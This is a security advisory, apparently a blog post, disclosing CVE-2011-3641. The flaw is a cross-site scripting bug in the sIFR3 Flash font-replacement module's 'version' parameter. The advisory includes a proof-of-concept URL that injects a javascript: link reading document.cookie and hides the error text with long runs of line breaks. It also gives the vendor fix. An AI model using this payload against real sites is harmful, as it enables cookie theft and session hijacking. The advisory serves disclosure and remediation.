True Stories of the TRC-Web Application Security

sIFR3 Cross Site Scripting

 

WhiteHat Security Vulnerability Advisory

Affected Product:   scalable Inman Flash Replacement (sIFR) version 3

Vulnerability:   Cross Site Scripting

CVE ID:   CVE-2011-3641

Affected Versions:   sIFR3 r436 and prior

Vendor Homepage:   http://wiki.novemberborn.net/sifr3/

Description:   sIFR3 allows for the use of non-free fonts within a web application via Adobe Flash plugin. The sIFR3 module interfaces with an external JS file and utilizes the parameter “version” to ensure the two files are compatible. The textField that is displayed upon invalid input in the “version” parameter supports limited HTML rendering and allows for remote code execution Cross Site Scripting. An attacker can render arbitrary images that execute malicious javascript and in Adobe Flash player 10.3 and prior include a large break space to remove the encapsulating error message.

Proof of Concept:

/cochin.swf?version=<a href="javascript:confirm(document.cookie)"><img src="Attacker_Image.jpg"/></a><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/>

Fix:  

Recompile any affected modules with the latest release (r437) which can be obtained from the vendor’s website: http://dev.novemberborn.net/sifr3/nightlies/sifr3-r437-CVE-2011-3641.zip

Editor’s note: Portions of this blog, including the headline, were edited by the author on December 9 after a CVE was assigned and the correct name had been given to the vuln.

Tags: JavaScript, XSS